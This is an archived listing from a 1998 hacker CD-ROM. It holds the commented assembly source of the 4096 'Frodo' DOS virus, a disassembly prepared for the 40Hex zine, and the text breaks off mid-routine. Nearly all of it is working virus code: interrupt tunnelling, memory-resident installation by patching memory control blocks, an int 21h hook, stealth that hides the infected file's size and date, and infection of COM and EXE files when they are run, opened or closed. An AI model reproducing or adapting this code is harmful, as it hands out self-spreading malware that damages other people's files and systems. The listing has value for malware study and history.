home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / pc / virus / frodo.asm / text0000.txt < prev   
Encoding:
Text File  |  2003-06-11  |  82.9 KB  |  1,816 lines

  1.  
  2. _4096           segment byte public
  3.                 assume  cs:_4096, ds:_4096
  4.  
  5. ; 4096 Virus
  6. ; Disassembly done by Dark Angel of Phalcon/Skism for 40Hex Issue #9
  7. ; Assemble with TASM; the resultant file size is 4081 bytes
  8.  
  9.                 org     0
  10. startvirus:
  11.                 db      0
  12.                 jmp     installvirus
  13. oldheader: ; original 1Ch bytes of the carrier file
  14.                 retn
  15.                 db      75h,02,44h,15h,46h,20h
  16.                 db      'Copyright Bourb%}i, I'
  17. endoldheader:
  18. EXEflag         db       00h
  19.                 db      0FEh, 3Ah
  20.  
  21. int1: ; locate the BIOS or DOS entry point for int 13h and int 21h
  22.                 push    bp                      ; set up stack frame
  23.                 mov     bp,sp
  24.                 push    ax
  25.                 cmp     word ptr [bp+4],0C000h  ; in BIOS?
  26.                 jnb     foundorigint            ; nope, haven't found it
  27.                 mov     ax,cs:DOSsegment        ; in DOS?
  28.                 cmp     [bp+4],ax
  29.                 jbe     foundorigint
  30. exitint1:
  31.                 pop     ax
  32.                 pop     bp
  33.                 iret
  34. foundorigint:
  35.                 cmp     byte ptr cs:tracemode,1
  36.                 jz      tracemode1
  37.                 mov     ax,[bp+4]               ; save segment of entry point
  38.                 mov     word ptr cs:origints+2,ax
  39.                 mov     ax,[bp+2]               ; save offset of entry point
  40.                 mov     word ptr cs:origints,ax
  41.                 jb      finishint1
  42.                 pop     ax
  43.                 pop     bp
  44.                 mov     ss,cs:savess            ; restore the stack to its
  45.                 mov     sp,cs:savesp            ; original state
  46.                 mov     al,cs:saveIMR           ; Restore IMR
  47.                 out     21h,al                  ; (enable interrupts)
  48.                 jmp     setvirusints
  49. finishint1:
  50.                 and     word ptr [bp+6],0FEFFh  ; turn off trap flag
  51.                 mov     al,cs:saveIMR           ; and restore IMR
  52.                 out     21h,al
  53.                 jmp     short exitint1
  54. tracemode1:
  55.                 dec     byte ptr cs:instructionstotrace
  56.                 jnz     exitint1
  57.                 and     word ptr [bp+6],0FEFFh  ; turn off trap flag
  58.                 call    saveregs
  59.                 call    swapvirint21            ; restore original int
  60.                 lds     dx,dword ptr cs:oldint1 ; 21h & int 1 handlers
  61.                 mov     al,1
  62.                 call    setvect
  63.                 call    restoreregs
  64.                 jmp     short finishint1
  65.  
  66. getint:
  67.                 push    ds
  68.                 push    si
  69.                 xor     si,si                   ; clear si
  70.                 mov     ds,si                   ; ds->interrupt table
  71.                 xor     ah,ah                   ; cbw would be better!?
  72.                 mov     si,ax
  73.                 shl     si,1                    ; convert int # to offset in
  74.                 shl     si,1                    ; interrupt table (int # x 4)
  75.                 mov     bx,[si]                 ; es:bx = interrupt vector
  76.                 mov     es,[si+2]               ; get old interrupt vector
  77.                                                 ; save 3 bytes if use les bx,[si]
  78.                 pop     si
  79.                 pop     ds
  80.                 retn
  81.  
  82. installvirus:
  83.                 mov     word ptr cs:stackptr,offset topstack
  84.                 mov     cs:initialax,ax         ; save initial value for ax
  85.                 mov     ah,30h                  ; Get DOS version
  86.                 int     21h
  87.  
  88.                 mov     cs:DOSversion,al        ; Save DOS version
  89.                 mov     cs:carrierPSP,ds        ; Save PSP segment
  90.                 mov     ah,52h                  ; Get list of lists
  91.                 int     21h
  92.  
  93.                 mov     ax,es:[bx-2]            ; segment of first MCB
  94.                 mov     cs:DOSsegment,ax        ; save it for use in int 1
  95.                 mov     es,ax                   ; es = segment first MCB
  96.                 mov     ax,es:[1]               ; Get owner of first MCB
  97.                 mov     cs:ownerfirstMCB,ax     ; save it
  98.                 push    cs
  99.                 pop     ds
  100.                 mov     al,1                    ; get single step vector
  101.                 call    getint
  102.                 mov     word ptr ds:oldint1,bx  ; save it for later
  103.                 mov     word ptr ds:oldint1+2,es; restoration
  104.                 mov     al,21h                  ; get int 21h vector
  105.                 call    getint
  106.                 mov     word ptr ds:origints,bx
  107.                 mov     word ptr ds:origints+2,es
  108.                 mov     byte ptr ds:tracemode,0 ; regular trace mode on
  109.                 mov     dx,offset int1          ; set new int 1 handler
  110.                 mov     al,1
  111.                 call    setvect
  112.                 pushf
  113.                 pop     ax
  114.                 or      ax,100h                 ; turn on trap flag
  115.                 push    ax
  116.                 in      al,21h                  ; Get old IMR
  117.                 mov     ds:saveIMR,al
  118.                 mov     al,0FFh                 ; disable all interrupts
  119.                 out     21h,al
  120.                 popf
  121.                 mov     ah,52h                  ; Get list of lists
  122.                 pushf                           ; (for tracing purposes)
  123.                 call    dword ptr ds:origints   ; perform the tunnelling
  124.                 pushf
  125.                 pop     ax
  126.                 and     ax,0FEFFh               ; turn off trap flag
  127.                 push    ax
  128.                 popf
  129.                 mov     al,ds:saveIMR           ; reenable interrupts
  130.                 out     21h,al
  131.                 push    ds
  132.                 lds     dx,dword ptr ds:oldint1
  133.                 mov     al,1                    ; restore int 1 to the
  134.                 call    setvect                 ; original handler
  135.                 pop     ds
  136.                 les     di,dword ptr ds:origints; set up int 21h handlers
  137.                 mov     word ptr ds:oldint21,di
  138.                 mov     word ptr ds:oldint21+2,es
  139.                 mov     byte ptr ds:jmpfarptr,0EAh ; jmp far ptr
  140.                 mov     word ptr ds:int21store,offset otherint21
  141.                 mov     word ptr ds:int21store+2,cs
  142.                 call    swapvirint21            ; activate virus in memory
  143.                 mov     ax,4B00h
  144.                 mov     ds:checkres,ah          ; set resident flag to a
  145.                                                 ; dummy value
  146.                 mov     dx,offset EXEflag+1     ; save EXE flag
  147.                 push    word ptr ds:EXEflag
  148.                 int     21h                     ; installation check
  149.                                                 ; returns checkres=0 if
  150.                                                 ; installed
  151.  
  152.                 pop     word ptr ds:EXEflag     ; restore EXE flag
  153.                 add     word ptr es:[di-4],9
  154.                 nop                             ; !?
  155.                 mov     es,ds:carrierPSP        ; restore ES and DS to their
  156.                 mov     ds,ds:carrierPSP        ; original values
  157.                 sub     word ptr ds:[2],(topstack/10h)+1
  158.                                                 ; alter top of memory in PSP
  159.                 mov     bp,ds:[2]               ; get segment
  160.                 mov     dx,ds
  161.                 sub     bp,dx
  162.                 mov     ah,4Ah                  ; Find total available memory
  163.                 mov     bx,0FFFFh
  164.                 int     21h
  165.  
  166.                 mov     ah,4Ah                  ; Allocate all available memory
  167.                 int     21h
  168.  
  169.                 dec     dx                      ; go to MCB of virus memory
  170.                 mov     ds,dx
  171.                 cmp     byte ptr ds:[0],'Z'     ; is it the last block?
  172.                 je      carrierislastMCB
  173.                 dec     byte ptr cs:checkres    ; mark need to install virus
  174. carrierislastMCB:
  175.                 cmp     byte ptr cs:checkres,0  ; need to install?
  176.                 je      playwithMCBs            ; nope, go play with MCBs
  177.                 mov     byte ptr ds:[0],'M'     ; mark not end of chain
  178. playwithMCBs:
  179.                 mov     ax,ds:[3]               ; get memory size controlled
  180.                 mov     bx,ax                   ; by the MCB
  181.                 sub     ax,(topstack/10h)+1     ; calculate new size
  182.                 add     dx,ax                   ; find high memory segment
  183.                 mov     ds:[3],ax               ; put new size in MCB
  184.                 inc     dx                      ; one more for the MCB
  185.                 mov     es,dx                   ; es->high memory MCB
  186.                 mov     byte ptr es:[0],'Z'     ; mark end of chain
  187.                 push    word ptr cs:ownerfirstMCB ; get DOS PSP ID
  188.                 pop     word ptr es:[1]         ; make it the owner
  189.                 mov     word ptr es:[3],160h    ; fill in the size field
  190.                 inc     dx
  191.                 mov     es,dx                   ; es->high memory area
  192.                 push    cs
  193.                 pop     ds
  194.                 mov     cx,(topstack/2)         ; zopy 0-1600h to high memory
  195.                 mov     si,offset topstack-2
  196.                 mov     di,si
  197.                 std                             ; zopy backwards
  198.                 rep     movsw
  199.                 cld
  200.                 push    es                      ; set up stack for jmp into
  201.                 mov     ax,offset highentry     ; virus code in high memory
  202.                 push    ax
  203.                 mov     es,cs:carrierPSP        ; save current PSP segment
  204.                 mov     ah,4Ah                  ; Alter memory allocation
  205.                 mov     bx,bp                   ; bx = paragraphs
  206.                 int     21h
  207.                 retf                            ; jmp to virus code in high
  208. highentry:                                      ; memory
  209.                 call    swapvirint21
  210.                 mov     word ptr cs:int21store+2,cs
  211.                 call    swapvirint21
  212.                 push    cs
  213.                 pop     ds
  214.                 mov     byte ptr ds:handlesleft,14h ; reset free handles count
  215.                 push    cs
  216.                 pop     es
  217.                 mov     di,offset handletable
  218.                 mov     cx,14h
  219.                 xor     ax,ax                   ; clear handle table
  220.                 rep     stosw
  221.                 mov     ds:hideclustercountchange,al ; clear the flag
  222.                 mov     ax,ds:carrierPSP
  223.                 mov     es,ax                   ; es->PSP
  224.                 lds     dx,dword ptr es:[0Ah]   ; get terminate vector (why?)
  225.                 mov     ds,ax                   ; ds->PSP
  226.                 add     ax,10h                  ; adjust for PSP
  227.                 add     word ptr cs:oldheader+16h,ax ; adjust jmp location
  228.                 cmp     byte ptr cs:EXEflag,0   ; for PSP
  229.                 jne     returntoEXE
  230. returntoCOM:
  231.                 sti
  232.                 mov     ax,word ptr cs:oldheader; restore first 6 bytes of the
  233.                 mov     ds:[100h],ax            ; COM file
  234.                 mov     ax,word ptr cs:oldheader+2
  235.                 mov     ds:[102h],ax
  236.                 mov     ax,word ptr cs:oldheader+4
  237.                 mov     ds:[104h],ax
  238.                 push    word ptr cs:carrierPSP  ; Segment of carrier file's
  239.                 mov     ax,100h                 ; PSP
  240.                 push    ax
  241.                 mov     ax,cs:initialax         ; restore orig. value of ax
  242.                 retf                            ; return to original COM file
  243.  
  244. returntoEXE:
  245.                 add     word ptr cs:oldheader+0eh,ax
  246.                 mov     ax,cs:initialax         ; Restore ax
  247.                 mov     ss,word ptr cs:oldheader+0eh ; Restore stack to
  248.                 mov     sp,word ptr cs:oldheader+10h ; original value
  249.                 sti
  250.                 jmp     dword ptr cs:oldheader+14h ; jmp to original cs:IP
  251.                                                 ; entry point
  252. entervirus:
  253.                 cmp     sp,100h                 ; COM file?
  254.                 ja      dont_resetstack         ; if so, skip this
  255.                 xor     sp,sp                   ; new stack
  256. dont_resetstack:
  257.                 mov     bp,ax
  258.                 call    next                    ; calculate relativeness
  259. next:
  260.                 pop     cx
  261.                 sub     cx,offset next          ; cx = delta offset
  262.                 mov     ax,cs                   ; ax = segment
  263.                 mov     bx,10h                  ; convert to offset
  264.                 mul     bx
  265.                 add     ax,cx
  266.                 adc     dx,0
  267.                 div     bx                      ; convert to seg:off
  268.                 push    ax                      ; set up stack for jmp
  269.                 mov     ax,offset installvirus  ; to installvirus
  270.                 push    ax
  271.                 mov     ax,bp
  272.                 retf                            ; go to installvirus
  273.  
  274. int21commands:
  275.                 db      30h     ; get DOS version
  276.                 dw      offset getDOSversion
  277.                 db      23h     ; FCB get file size
  278.                 dw      offset FCBgetfilesize
  279.                 db      37h     ; get device info
  280.                 dw      offset get_device_info
  281.                 db      4Bh     ; execute
  282.                 dw      offset execute
  283.                 db      3Ch     ; create file w/ handle
  284.                 dw      offset createhandle
  285.                 db      3Dh     ; open file
  286.                 dw      offset openhandle
  287.                 db      3Eh     ; close file
  288.                 dw      offset handleclosefile
  289.                 db      0Fh     ; FCB open file
  290.                 dw      offset FCBopenfile
  291.                 db      14h     ; sequential FCB read
  292.                 dw      offset sequentialFCBread
  293.                 db      21h     ; random FCB read
  294.                 dw      offset randomFCBread
  295.                 db      27h     ; random FCB block read
  296.                 dw      offset randomFCBblockread
  297.                 db      11h     ; FCB find first
  298.                 dw      offset FCBfindfirstnext
  299.                 db      12h     ; FCB find next
  300.                 dw      offset FCBfindfirstnext
  301.                 db      4Eh     ; filename find first
  302.                 dw      offset filenamefindfirstnext
  303.                 db      4Fh     ; filename find next
  304.                 dw      offset filenamefindfirstnext
  305.                 db      3Fh     ; read
  306.                 dw      offset handleread
  307.                 db      40h     ; write
  308.                 dw      offset handlewrite
  309.                 db      42h     ; move file pointer
  310.                 dw      offset handlemovefilepointer
  311.                 db      57h     ; get/set file time/date
  312.                 dw      offset getsetfiletimedate
  313.                 db      48h     ; allocate memory
  314.                 dw      offset allocatememory
  315. endcommands:
  316.  
  317. otherint21:
  318.                 cmp     ax,4B00h                ; execute?
  319.                 jnz     notexecute
  320.                 mov     cs:checkres,al          ; clear the resident flag
  321. notexecute:
  322.                 push    bp                      ; set up stack frame
  323.                 mov     bp,sp
  324.                 push    [bp+6]                  ; push old flags
  325.                 pop     cs:int21flags           ; and put in variable
  326.                 pop     bp                      ; why?
  327.                 push    bp                      ; why?
  328.                 mov     bp,sp                   ; set up new stack frame
  329.                 call    saveregs
  330.                 call    swapvirint21            ; reenable DOS int 21h handler
  331.                 call    disableBREAK
  332.                 call    restoreregs
  333.                 call    _pushall
  334.                 push    bx
  335.                 mov     bx,offset int21commands ; bx->command table
  336. scanforcommand:
  337.                 cmp     ah,cs:[bx]              ; scan for the function
  338.                 jne     findnextcommand         ; code/subroutine combination
  339.                 mov     bx,cs:[bx+1]
  340.                 xchg    bx,[bp-14h]
  341.                 cld
  342.                 retn
  343. findnextcommand:
  344.                 add     bx,3                    ; go to next command
  345.                 cmp     bx,offset endcommands   ; in the table until
  346.                 jb      scanforcommand          ; there are no more
  347.                 pop     bx
  348. exitotherint21:
  349.                 call    restoreBREAK
  350.                 in      al,21h                  ; save IMR
  351.                 mov     cs:saveIMR,al
  352.                 mov     al,0FFh                 ; disable all interrupts
  353.                 out     21h,al
  354.                 mov     byte ptr cs:instructionstotrace,4 ; trace into
  355.                 mov     byte ptr cs:tracemode,1           ; oldint21
  356.                 call    replaceint1             ; set virus int 1 handler
  357.                 call    _popall
  358.                 push    ax
  359.                 mov     ax,cs:int21flags        ; get the flags
  360.                 or      ax,100h                 ; turn on the trap flag
  361.                 push    ax                      ; and set it in motion
  362.                 popf
  363.                 pop     ax
  364.                 pop     bp
  365.                 jmp     dword ptr cs:oldint21   ; chain back to original int
  366.                                                 ; 21h handler -- do not return
  367.  
  368. exitint21:
  369.                 call    saveregs
  370.                 call    restoreBREAK
  371.                 call    swapvirint21
  372.                 call    restoreregs
  373.                 pop     bp
  374.                 push    bp                      ; set up stack frame
  375.                 mov     bp,sp
  376.                 push    word ptr cs:int21flags  ; get the flags and put
  377.                 pop     word ptr [bp+6]         ; them on the stack for
  378.                 pop     bp                      ; the iret
  379.                 iret
  380.  
  381. FCBfindfirstnext:
  382.                 call    _popall
  383.                 call    callint21
  384.                 or      al,al                   ; Found any files?
  385.                 jnz     exitint21               ; guess not
  386.                 call    _pushall
  387.                 call    getdisktransferaddress
  388.                 mov     al,0
  389.                 cmp     byte ptr [bx],0FFh      ; Extended FCB?
  390.                 jne     findfirstnextnoextendedFCB
  391.                 mov     al,[bx+6]
  392.                 add     bx,7                    ; convert to normal FCB
  393. findfirstnextnoextendedFCB:
  394.                 and     cs:hide_size,al
  395.                 test    byte ptr [bx+1Ah],80h   ; check year bit for virus
  396.                 jz      _popall_then_exitint21  ; infection tag. exit if so
  397.                 sub     byte ptr [bx+1Ah],0C8h  ; alter file date
  398.                 cmp     byte ptr cs:hide_size,0
  399.                 jne     _popall_then_exitint21
  400.                 sub     word ptr [bx+1Dh],1000h ; hide file size
  401.                 sbb     word ptr [bx+1Fh],0
  402. _popall_then_exitint21:
  403.                 call    _popall
  404.                 jmp     short exitint21
  405.  
  406. FCBopenfile:
  407.                 call    _popall
  408.                 call    callint21               ; chain to original int 21h
  409.                 call    _pushall
  410.                 or      al,al                   ; 0 = success
  411.                 jnz     _popall_then_exitint21
  412.                 mov     bx,dx
  413.                 test    byte ptr [bx+15h],80h   ; check if infected yet
  414.                 jz      _popall_then_exitint21
  415.                 sub     byte ptr [bx+15h],0C8h  ; restore date
  416.                 sub     word ptr [bx+10h],1000h ; and hide file size
  417.                 sbb     byte ptr [bx+12h],0
  418.                 jmp     short _popall_then_exitint21
  419.  
  420. randomFCBblockread:
  421.                 jcxz    go_exitotherint21       ; reading any blocks?
  422.  
  423. randomFCBread:
  424.                 mov     bx,dx
  425.                 mov     si,[bx+21h]             ; check if reading first
  426.                 or      si,[bx+23h]             ; bytes
  427.                 jnz     go_exitotherint21
  428.                 jmp     short continueFCBread
  429.  
  430. sequentialFCBread:
  431.                 mov     bx,dx
  432.                 mov     ax,[bx+0Ch]             ; check if reading first
  433.                 or      al,[bx+20h]             ; bytes
  434.                 jnz     go_exitotherint21
  435. continueFCBread:
  436.                 call    checkFCBokinfect
  437.                 jnc     continuecontinueFCBread
  438. go_exitotherint21:
  439.                 jmp     exitotherint21
  440. continuecontinueFCBread:
  441.                 call    _popall
  442.                 call    _pushall
  443.                 call    callint21               ; chain to original handler
  444.                 mov     [bp-4],ax               ; set the return codes
  445.                 mov     [bp-8],cx               ; properly
  446.                 push    ds                      ; save FCB pointer
  447.                 push    dx
  448.                 call    getdisktransferaddress
  449.                 cmp     word ptr [bx+14h],1     ; check for EXE infection
  450.                 je      FCBreadinfectedfile     ; (IP = 1)
  451.                 mov     ax,[bx]                 ; check for COM infection
  452.                 add     ax,[bx+2]               ; (checksum = 0)
  453.                 add     ax,[bx+4]
  454.                 jz      FCBreadinfectedfile
  455.                 add     sp,4                    ; no infection, no stealth
  456.                 jmp     short _popall_then_exitint21 ; needed
  457. FCBreadinfectedfile:
  458.                 pop     dx                      ; restore address of the FCB
  459.                 pop     ds
  460.                 mov     si,dx
  461.                 push    cs
  462.                 pop     es
  463.                 mov     di,offset tempFCB       ; copy FCB to temporary one
  464.                 mov     cx,25h
  465.                 rep     movsb
  466.                 mov     di,offset tempFCB
  467.                 push    cs
  468.                 pop     ds
  469.                 mov     ax,[di+10h]             ; get old file size
  470.                 mov     dx,[di+12h]
  471.                 add     ax,100Fh                ; increase by virus size
  472.                 adc     dx,0                    ; and round to the nearest
  473.                 and     ax,0FFF0h               ; paragraph
  474.                 mov     [di+10h],ax             ; insert new file size
  475.                 mov     [di+12h],dx
  476.                 sub     ax,0FFCh
  477.                 sbb     dx,0
  478.                 mov     [di+21h],ax             ; set new random record #
  479.                 mov     [di+23h],dx
  480.                 mov     word ptr [di+0Eh],1     ; record size = 1
  481.                 mov     cx,1Ch
  482.                 mov     dx,di
  483.                 mov     ah,27h                  ; random block read 1Ch bytes
  484.                 call    callint21
  485.                 jmp     _popall_then_exitint21
  486.  
  487. FCBgetfilesize:
  488.                 push    cs
  489.                 pop     es
  490.                 mov     si,dx
  491.                 mov     di,offset tempFCB       ; copy FCB to temp buffer
  492.                 mov     cx,0025h
  493.                 repz    movsb
  494.                 push    ds
  495.                 push    dx
  496.                 push    cs
  497.                 pop     ds
  498.                 mov     dx,offset tempFCB
  499.                 mov     ah,0Fh                  ; FCB open file
  500.                 call    callint21
  501.                 mov     ah,10h                  ; FCB close file
  502.                 call    callint21
  503.                 test    byte ptr [tempFCB+15h],80h ; check date bit
  504.                 pop     si
  505.                 pop     ds
  506.                 jz      will_exitotherint21     ; exit if not infected
  507.                 les     bx,dword ptr cs:[tempFCB+10h] ; get filesize
  508.                 mov     ax,es
  509.                 sub     bx,1000h                ; hide increase
  510.                 sbb     ax,0
  511.                 xor     dx,dx
  512.                 mov     cx,word ptr cs:[tempFCB+0eh] ; get record size
  513.                 dec     cx
  514.                 add     bx,cx
  515.                 adc     ax,0
  516.                 inc     cx
  517.                 div     cx
  518.                 mov     [si+23h],ax             ; fix random access record #
  519.                 xchg    dx,ax
  520.                 xchg    bx,ax
  521.                 div     cx
  522.                 mov     [si+21h],ax             ; fix random access record #
  523.                 jmp     _popall_then_exitint21
  524.  
  525. filenamefindfirstnext:
  526.                 and     word ptr cs:int21flags,-2 ; turn off trap flag
  527.                 call    _popall
  528.                 call    callint21
  529.                 call    _pushall
  530.                 jnb     filenamefffnOK          ; continue if a file is found
  531.                 or      word ptr cs:int21flags,1
  532.                 jmp     _popall_then_exitint21
  533.  
  534. filenamefffnOK:
  535.                 call    getdisktransferaddress
  536.                 test    byte ptr [bx+19h],80h   ; Check high bit of date
  537.                 jnz     filenamefffnfileinfected; Bit set if infected
  538.                 jmp     _popall_then_exitint21
  539. filenamefffnfileinfected:
  540.                 sub     word ptr [bx+1Ah],1000h ; hide file length increase
  541.                 sbb     word ptr [bx+1Ch],0
  542.                 sub     byte ptr [bx+19h],0C8h  ; and date change
  543.                 jmp     _popall_then_exitint21
  544.  
  545. createhandle:
  546.                 push    cx
  547.                 and     cx,7                    ; mask the attributes
  548.                 cmp     cx,7                    ; r/o, hidden, & system?
  549.                 je      exit_create_handle
  550.                 pop     cx
  551.                 call    replaceint13and24
  552.                 call    callint21               ; chain to original int 21h
  553.                 call    restoreint13and24
  554.                 pushf
  555.                 cmp     byte ptr cs:errorflag,0 ; check if any errors yet
  556.                 je      no_errors_createhandle
  557.                 popf
  558. will_exitotherint21:
  559.                 jmp     exitotherint21
  560. no_errors_createhandle:
  561.                 popf
  562.                 jc      other_error_createhandle; exit on error
  563.                 mov     bx,ax                   ; move handle to bx
  564.                 mov     ah,3Eh                  ; Close file
  565.                 call    callint21
  566.                 jmp     short openhandle
  567. other_error_createhandle:
  568.                 or      byte ptr cs:int21flags,1; turn on the trap flag
  569.                 mov     [bp-4],ax               ; set the return code properly
  570.                 jmp     _popall_then_exitint21
  571. exit_create_handle:
  572.                 pop     cx
  573.                 jmp     exitotherint21
  574.  
  575. openhandle:
  576.                 call    getcurrentPSP
  577.                 call    checkdsdxokinfect
  578.                 jc      jmp_exitotherint21
  579.                 cmp     byte ptr cs:handlesleft,0 ; make sure there is a free
  580.                 je      jmp_exitotherint21        ; entry in the table
  581.                 call    setup_infection         ; open the file
  582.                 cmp     bx,0FFFFh               ; error?
  583.                 je      jmp_exitotherint21      ; if so, exit
  584.                 dec     byte ptr cs:handlesleft
  585.                 push    cs
  586.                 pop     es
  587.                 mov     di,offset handletable
  588.                 mov     cx,14h
  589.                 xor     ax,ax                   ; find end of the table
  590.                 repne   scasw
  591.                 mov     ax,cs:currentPSP        ; put the PSP value and the
  592.                 mov     es:[di-2],ax            ; handle # in the table
  593.                 mov     es:[di+26h],bx
  594.                 mov     [bp-4],bx               ; put handle # in return code
  595. handleopenclose_exit:
  596.                 and     byte ptr cs:int21flags,0FEh ; turn off the trap flag
  597.                 jmp     _popall_then_exitint21
  598. jmp_exitotherint21:
  599.                 jmp     exitotherint21
  600.  
  601. handleclosefile:
  602.                 push    cs
  603.                 pop     es
  604.                 call    getcurrentPSP
  605.                 mov     di,offset handletable
  606.                 mov     cx,14h                  ; 14h entries max
  607.                 mov     ax,cs:currentPSP        ; search for calling PSP
  608. scanhandle_close:
  609.                 repne   scasw
  610.                 jnz     handlenotfound          ; handle not trapped
  611.                 cmp     bx,es:[di+26h]          ; does the handle correspond?
  612.                 jne     scanhandle_close        ; if not, find another handle
  613.                 mov     word ptr es:[di-2],0    ; otherwise, clear handle
  614.                 call    infect_file
  615.                 inc     byte ptr cs:handlesleft ; fix handles left counter
  616.                 jmp     short handleopenclose_exit ; and exit
  617. handlenotfound:
  618.                 jmp     exitotherint21
  619.  
  620. getdisktransferaddress:
  621.                 push    es
  622.                 mov     ah,2Fh                  ; Get disk transfer address
  623.                 call    callint21               ; to es:bx
  624.                 push    es
  625.                 pop     ds                      ; mov to ds:bx
  626.                 pop     es
  627.                 retn
  628. execute:
  629.                 or      al,al                   ; load and execute?
  630.                 jz      loadexecute             ; yepper!
  631.                 jmp     checkloadnoexecute      ; otherwise check if
  632.                                                 ; load/no execute
  633. loadexecute:
  634.                 push    ds                      ; save filename
  635.                 push    dx
  636.                 mov     word ptr cs:parmblock,bx; save parameter block and
  637.                 mov     word ptr cs:parmblock+2,es; move to ds:si
  638.                 lds     si,dword ptr cs:parmblock
  639.                 mov     di,offset copyparmblock ; copy the parameter block
  640.                 mov     cx,0Eh
  641.                 push    cs
  642.                 pop     es
  643.                 rep     movsb
  644.                 pop     si                      ; copy the filename
  645.                 pop     ds                      ; to the buffer
  646.                 mov     di,offset copyfilename
  647.                 mov     cx,50h
  648.                 rep     movsb
  649.                 mov     bx,0FFFFh
  650.                 call    allocate_memory         ; allocate available memory
  651.                 call    _popall
  652.                 pop     bp                      ; save the parameters
  653.                 pop     word ptr cs:saveoffset  ; on the stack
  654.                 pop     word ptr cs:savesegment
  655.                 pop     word ptr cs:int21flags
  656.                 mov     ax,4B01h                ; load/no execute
  657.                 push    cs                      ; ds:dx -> file name
  658.                 pop     es                      ; es:bx -> parameter block
  659.                 mov     bx,offset copyparmblock
  660.                 pushf                           ; perform interrupt 21h
  661.                 call    dword ptr cs:oldint21
  662.                 jnc     continue_loadexecute    ; continue if no error
  663.                 or      word ptr cs:int21flags,1; turn on trap flag
  664.                 push    word ptr cs:int21flags  ; if error
  665.                 push    word ptr cs:savesegment ; restore stack
  666.                 push    word ptr cs:saveoffset
  667.                 push    bp                      ; restore the stack frame
  668.                 mov     bp,sp                   ; and restore ES:BX to
  669.                 les     bx,dword ptr cs:parmblock ; point to the parameter
  670.                 jmp     exitint21               ; block
  671. continue_loadexecute:
  672.                 call    getcurrentPSP
  673.                 push    cs
  674.                 pop     es
  675.                 mov     di,offset handletable   ; scan the handle table
  676.                 mov     cx,14h                  ; for the current PSP's
  677. scanhandle_loadexecute:                         ; handles
  678.                 mov     ax,cs:currentPSP
  679.                 repne   scasw
  680.                 jnz     loadexecute_checkEXE
  681.                 mov     word ptr es:[di-2],0    ; clear entry in handle table
  682.                 inc     byte ptr cs:handlesleft ; fix handlesleft counter
  683.                 jmp     short scanhandle_loadexecute
  684. loadexecute_checkEXE:
  685.                 lds     si,dword ptr cs:origcsip
  686.                 cmp     si,1                    ; Check if EXE infected
  687.                 jne     loadexecute_checkCOM
  688.                 mov     dx,word ptr ds:oldheader+16h ; get initial CS
  689.                 add     dx,10h                  ; adjust for PSP
  690.                 mov     ah,51h                  ; Get current PSP segment
  691.                 call    callint21
  692.                 add     dx,bx                   ;adjust for start load segment
  693.                 mov     word ptr cs:origcsip+2,dx
  694.                 push    word ptr ds:oldheader+14h       ; save old IP
  695.                 pop     word ptr cs:origcsip
  696.                 add     bx,10h                          ; adjust for the PSP
  697.                 add     bx,word ptr ds:oldheader+0Eh    ; add old SS
  698.                 mov     cs:origss,bx
  699.                 push    word ptr ds:oldheader+10h       ; old SP
  700.                 pop     word ptr cs:origsp
  701.                 jmp     short perform_loadexecute
  702. loadexecute_checkCOM:
  703.                 mov     ax,[si]                 ; Check if COM infected
  704.                 add     ax,[si+2]
  705.                 add     ax,[si+4]
  706.                 jz      loadexecute_doCOM       ; exit if already infected
  707.                 push    cs                      ; otherwise check to see
  708.                 pop     ds                      ; if it is suitable for
  709.                 mov     dx,offset copyfilename  ; infection
  710.                 call    checkdsdxokinfect
  711.                 call    setup_infection
  712.                 inc     byte ptr cs:hideclustercountchange
  713.                 call    infect_file             ; infect the file
  714.                 dec     byte ptr cs:hideclustercountchange
  715. perform_loadexecute:
  716.                 mov     ah,51h                  ; Get current PSP segment
  717.                 call    callint21
  718.                 call    saveregs
  719.                 call    restoreBREAK
  720.                 call    swapvirint21
  721.                 call    restoreregs
  722.                 mov     ds,bx                   ; ds = current PSP segment
  723.                 mov     es,bx                   ; es = current PSP segment
  724.                 push    word ptr cs:int21flags  ; restore stack parameters
  725.                 push    word ptr cs:savesegment
  726.                 push    word ptr cs:saveoffset
  727.                 pop     word ptr ds:[0Ah]       ; Set terminate address in PSP
  728.                 pop     word ptr ds:[0Ch]       ; to return address found on
  729.                                                 ; the stack
  730.                                                 ; (int 21h caller CS:IP)
  731.                 push    ds
  732.                 lds     dx,dword ptr ds:[0Ah]   ; Get terminate address in PSP
  733.                 mov     al,22h                  ; Set terminate address to it
  734.                 call    setvect
  735.                 pop     ds
  736.                 popf
  737.                 pop     ax
  738.                 mov     ss,cs:origss            ; restore the stack
  739.                 mov     sp,cs:origsp            ; and
  740.                 jmp     dword ptr cs:origcsip   ; perform the execute
  741.  
  742. loadexecute_doCOM:
  743.                 mov     bx,[si+1]               ; restore original COM file
  744.                 mov     ax,word ptr ds:[bx+si-261h]
  745.                 mov     [si],ax
  746.                 mov     ax,word ptr ds:[bx+si-25Fh]
  747.                 mov     [si+2],ax
  748.                 mov     ax,word ptr ds:[bx+si-25Dh]
  749.                 mov     [si+4],ax
  750.                 jmp     short perform_loadexecute
  751. checkloadnoexecute:
  752.                 cmp     al,1
  753.                 je      loadnoexecute
  754.                 jmp     exitotherint21
  755. loadnoexecute:
  756.                 or      word ptr cs:int21flags,1; turn on trap flag
  757.                 mov     word ptr cs:parmblock,bx; save pointer to parameter
  758.                 mov     word ptr cs:parmblock+2,es ; block
  759.                 call    _popall
  760.                 call    callint21               ; chain to int 21h
  761.                 call    _pushall
  762.                 les     bx,dword ptr cs:parmblock ; restore pointer to
  763.                                                 ; parameter block
  764.                 lds     si,dword ptr es:[bx+12h]; get cs:ip on execute return
  765.                 jc      exit_loadnoexecute
  766.                 and     byte ptr cs:int21flags,0FEh ; turn off trap flag
  767.                 cmp     si,1                    ; check for EXE infection
  768.                 je      loadnoexecute_EXE_already_infected
  769.                                                 ; infected if initial IP = 1
  770.                 mov     ax,[si]                 ; check for COM infection
  771.                 add     ax,[si+2]               ; infected if checksum = 0
  772.                 add     ax,[si+4]
  773.                 jnz     perform_the_execute
  774.                 mov     bx,[si+1]               ; get jmp location
  775.                 mov     ax,ds:[bx+si-261h]      ; restore original COM file
  776.                 mov     [si],ax
  777.                 mov     ax,ds:[bx+si-25Fh]
  778.                 mov     [si+2],ax
  779.                 mov     ax,ds:[bx+si-25Dh]
  780.                 mov     [si+4],ax
  781.                 jmp     short perform_the_execute
  782. loadnoexecute_EXE_already_infected:
  783.                 mov     dx,word ptr ds:oldheader+16h ; get entry CS:IP
  784.                 call    getcurrentPSP
